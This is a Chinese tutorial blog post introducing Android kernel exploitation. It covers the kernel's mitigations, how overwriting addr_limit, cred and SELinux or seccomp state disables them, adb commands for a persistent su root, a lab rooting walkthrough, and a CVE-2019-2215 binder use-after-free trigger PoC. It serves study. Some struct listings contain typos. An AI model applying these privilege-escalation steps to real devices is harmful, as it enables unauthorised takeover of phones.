目录
  1. 1. 基础知识
    1. 1.1. Android 系统架构
    2. 1.2. Android进程间通信-binder
    3. 1.3. SELinux限制
    4. 1.4. Android 内核攻击面
    5. 1.5. Android内核缓释机制
    6. 1.6. Android 内核漏洞利用基础知识
      1. 1.6.1. 内核关键数据结构
      2. 1.6.2. 关闭内核缓释机制
      3. 1.6.3. 持久化root
      4. 1.6.4. Android 内核任意地址读写思路
  2. 2. Android源码阅读网站
  3. 3. Android环境搭建
  4. 4. Android root实验
    1. 4.1. 1.1 确定Android版本号
    2. 4.2. 1.2 寻找有漏洞的驱动设备
    3. 4.3. 1.3 提取kernel符号表
    4. 4.4. 1.4 IDA加载kernel并导入符号表
    5. 4.5. 1.5 分析漏洞并完成kernel任意地址读写
    6. 4.6. 1.6 提权到root
  5. 5. CVE-2019-2215 复现
    1. 5.1. PoC
Android kernel 入门

基础知识

Android 系统架构

Android系统构架是安卓系统的体系结构,android的系统架构和其操作系统一样,采用了分层的架构,一般共分为四层,从高到低分别是:

  • Android应用层 - 包括通话短信联系人这种系统级的应用,还包括用户自己安装的第三方应用
  • Android应用框架层 - 这一层大部分用Java写的,包括系统服务和四大组件
  • Android系统运行层 - 这一层大部分都是C/C++写的,主要是虚拟机 Dalvik/ART ,还有一些第三方库
  • Linux内核层 - 包含Linux内核和一些驱动,比如说蓝牙驱动,Camera驱动等等

还有 HAL层-硬件抽象层

Android系统构架主要应用于ARM平台,但不仅限于ARM,通过编译控制,在X86、MAC等体系结构的机器上同样可以运行。
1579162747715.png

Android进程间通信-binder

  • IPC(Inter-Process Communication)进程间通讯
  • C(低权限应用)/S(高权限系统服务)
  • /dev/binder – framework和app之间IPC通信桥梁
  • /dev/hwbinder(8.0之后) – framework和vendor之间的IPC通信桥梁
  • /dev/vndbinder(8.0之后) – vendor和vendor之间的IPC通信桥梁

SELinux限制

Android 8.0之后推出厂商升级成本大大降低,8.0之后增加vendor.img镜像 ,攻击面大大减少, 很多厂商的代码不与应用层直接交互, 增加了应用和厂商代码的SELinux限制

Android 内核攻击面

  • 应用直达内核路径寥寥无几 – /dev/binder、/dev/ashmem等
  • 厂商自定义的驱动设备 – cat /proc/devices
  • 应用 -> system_server等 -> 内核
  • 应用 -> 系统应用 -> system_server等 -> 内核

Android内核缓释机制

  • DAC/ CAP Linux最基本的安全缓释机制
  • PXN(Privileged Execute Never)类似于x86中的SMEP,防止内核态执行用户态代码,防御RET2USR攻击,可以通过修改rc4 来绕过。Android 5 arm64后开启,Android通过页表来开启PXN。
    1579165663629.png
  • PAN (Privileged Access Never) 类似于x86中的SMAP ,防止内核任意读取用户态数据,Android 8.0之后加入。
    1579166009547.png
  • SECCOMP 限制应用程序可以使用的系统调用,增加系统的安全性。shell中执行exp不会受到限制,apk中执行exp会受到seccomp限制,比如无法调到setuid、chroot、mount等。Android 8.0之后影响所有zygote孵化出来的进程。
  • KASLR 内核地址空间布局随机化,可以让kernel image映射的地址相对于链接地址有个偏移,利用需要泄露内核信息。Android kernel版本大于4.4之后默认开启。
  • AVB (Android Verified Boot 启动时验证)启动时验证boot、system、vendor等是否被篡改,Persistent root 克星。Android 7.0 之后严格执行启动验证,Android 8.0 之后默认集成AVB2.0 ,有回滚保护,防止回滚到有漏洞的版本。

Android 内核漏洞利用基础知识

内核关键数据结构

  • 线程数据结构体,内核栈和hread_info共用一片区域 ,其中 addr_limit 用户态 0x7ffffffff000

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    union thread_union{
    struct thread_info thread_info;
    unsigned long stack[THREAD_SIZE/sizeof(lone)];
    }

    struct thread_info{
    unsigned long flag; /*low level flag*/
    mm_segment_t addr_limit; /*address limit */
    struct task_struct *task;
    struct exec_domain *exec_domian; /* execution domain */
    struct restart_block restart_block;
    int preempt_count;
    int cpu;
    }
  • 进程描述符

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    struct task_ struct {
    volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
    void *stack; // contains addr_ limi t
    unsigned int flags; /* per process flags, defined below */
    ...
    struct list_ head tasks ;
    struct mm struct *mm, *active_ mm;
    #ifdef CONFIG COMPAT_ BRK
    unsigned brk randomized:1;
    ...
    /* process credentials */
    const struct cred __rcu *real_cred; /* objective and real subjective task */
    consts truct cred __rcu *ered; /* effective (overridable) subjective task */
    char comm[TASK_COMM_LEN] ;
    ...
    struct seccomp seccomp ;
    }

1579168735865.png

  • 安全凭证cred

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    struct cred {
    unsigned int usage;
    uid_t uid;
    gid_t gid;
    uid_t suid;
    gid_t sgid;
    uid_t euid;
    gid_t egid;
    uid_t fsuid;
    gid_t fsgid;
    unsigned int securebits;
    struct kernel_cap_struct cap_inheritable;
    struct kernel_cap_struct Cap_permitted;
    struct kernel_cap_struct cap_ef fective;
    struct kernel_cap_struct cap_bset;
    struct kernel_cap_struct cap_ambient;
    void *security; /* subjective LSM security */
    };
  • 安全凭证 task_secutity 安全域

    1
    2
    3
    4
    5
    6
    7
    8
    	struct task_ security_ struct {
    u32 osid; /* SID prior to last execve */
    u32 sid; /* current SID */
    u32 exec_sid;/* exec SID */
    u32 create_sid;/* fscreate SID */
    u32 keycreate_sid; /* keycreate SID */
    u32 sockcreate_sid; /* fscreate SID */
    };
  • 内核关键全局变量
    selinux_enforcing
    selinux_enabled
    init_stack
    对于没有KASLR的设备地址固定,偏移固定。

关闭内核缓释机制

1、关闭addr_limit

  • 内核线程栈低偏移8字节为addr_limit,将addr_limit 改为-1(0xffffffffffffffff),关闭之后即可任意读写内核。

2、 关闭DAC

  • 修改进程安全凭证cred中进程id相关值uid、gid等为init进程的值

3、关闭CAP

  • 修改进程安全凭证cred中的cap相关值 cap_inheritable等为init进程的值

4、 关闭SELinux

  • 修改selinux_enforcing 为0
  • 修改selinux_enbaled 为0
  • 修改进程安全凭证cred中的security安全域 osid、sid、exec_sid、create_sid、kercreate_sid、sockcreate_sid为init进程的值

5、关闭SECCOMP

  • 修改thread_info中的flags,将seccomp位置0

    1
    2
    #define TLE_SECCOMP 11
    #define _TIF_SECCOMP (1 << TIE_SECCOMP)
  • 修改task_struct 中的seccomp中的mode为0

    1
    2
    3
    4
    struct seccopm {
    int mode;
    struct seccomp_filter *filter;
    }

持久化root

只适用于低版本Android:

1
2
3
4
5
6
adb shell mount -0 remount,rw /system
adb push su /system/xbin/su
adb shell chown 0.0 /system/xbin/su
adb shell chmod 06755 /system/xbin/su
adb shell mount -0 remount,ro /system
adb install Superuser.apk

高版本(Android 7.0 之后) 无解

Android 内核任意地址读写思路

1、用户态不能直接访问内核态
2、需要借助内核函数完成内核任意地址读写

  • 系统调用由内核完成
  • 寻找系统调用中搬到参数合法的方式->addr_limit
  • read/write、readv/writev、recvmsg/sendmsg 等

Android源码阅读网站

Android环境搭建

本地环境 ubuntu 16.04

Android root实验

给定一个含有驱动漏洞的Android虚拟机,通过该驱动漏洞实现root

1.1 确定Android版本号

adb shell getprop ro.build.version.release

1.2 寻找有漏洞的驱动设备

搜索 cdev_init()函数
cdev_init() 加载驱动设备函数
1579157694160.png
qword_FFFFFFC00055C438 里面注册 dev_open,dev_ioctl等
1579157575646.png

1.3 提取kernel符号表

python ./vmlinux.py ./test/pixel_vmlinux

1.4 IDA加载kernel并导入符号表

vmlinux.py -> C:\Program Files\IDA x.x\loaders\

1.5 分析漏洞并完成kernel任意地址读写

通过fop发现ioctl中存在任意地址读写漏洞
1579159294971.png

1.6 提权到root

CVE-2019-2215 复现

影响版本 Android 9.0 kernel 4.4

driver/android/binder.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned 
long arg)
{
...
switch (cmd) {
...
case BINDER_THREAD_EXIT:
binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n",
proc->pid, thread->pid);
binder_free_thread(proc, thread);
thread = NULL;
break;
...
}
}

Android kernel 4.4 driver/android/binder.c

1
2
3
4
5
6
7
8
9
static int binder_free_thread(struct binder_proc *proc,
struct binder_thread *thread) {
...
if (send_reply)
binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
binder_release_work(&thread->todo);
kfree(thread);
binder_stats_deleted(BINDER_STAT_THREAD);
return active_transactions; }

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define BINDER_THREAD_EXIT 0x40046208ul
int main()
{
int fd, epfd;
struct epoll_event event = { .events = EPOLLIN };
fd = open("/dev/binder0", O_RDONLY);
epfd = epoll_create(1000);
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
}

##其他命令
连接 Android shell
./adb shell

1、获取手机系统信息( CPU,厂商名称等)
adb shell “cat /system/build.prop | grep “product””
2、获取手机系统版本
adb shell getprop ro.build.version.release

3、获取手机系统api版本
adb shell getprop ro.build.version.sdk

4、获取手机设备型号
adb -d shell getprop ro.product.model

5、获取手机厂商名称
adb -d shell getprop ro.product.brand

6、获取手机的序列号
有两种方式

  • 1、 adb get-serialno
  • 2、 adb shell getprop ro.serialno

7、获取手机内存信息
adb shell cat /proc/meminfo

8、获取手机存储信息
adb shell df

9、获取手机物理密度
adb shell wm density

文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/01/12/Android kernel 入门/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝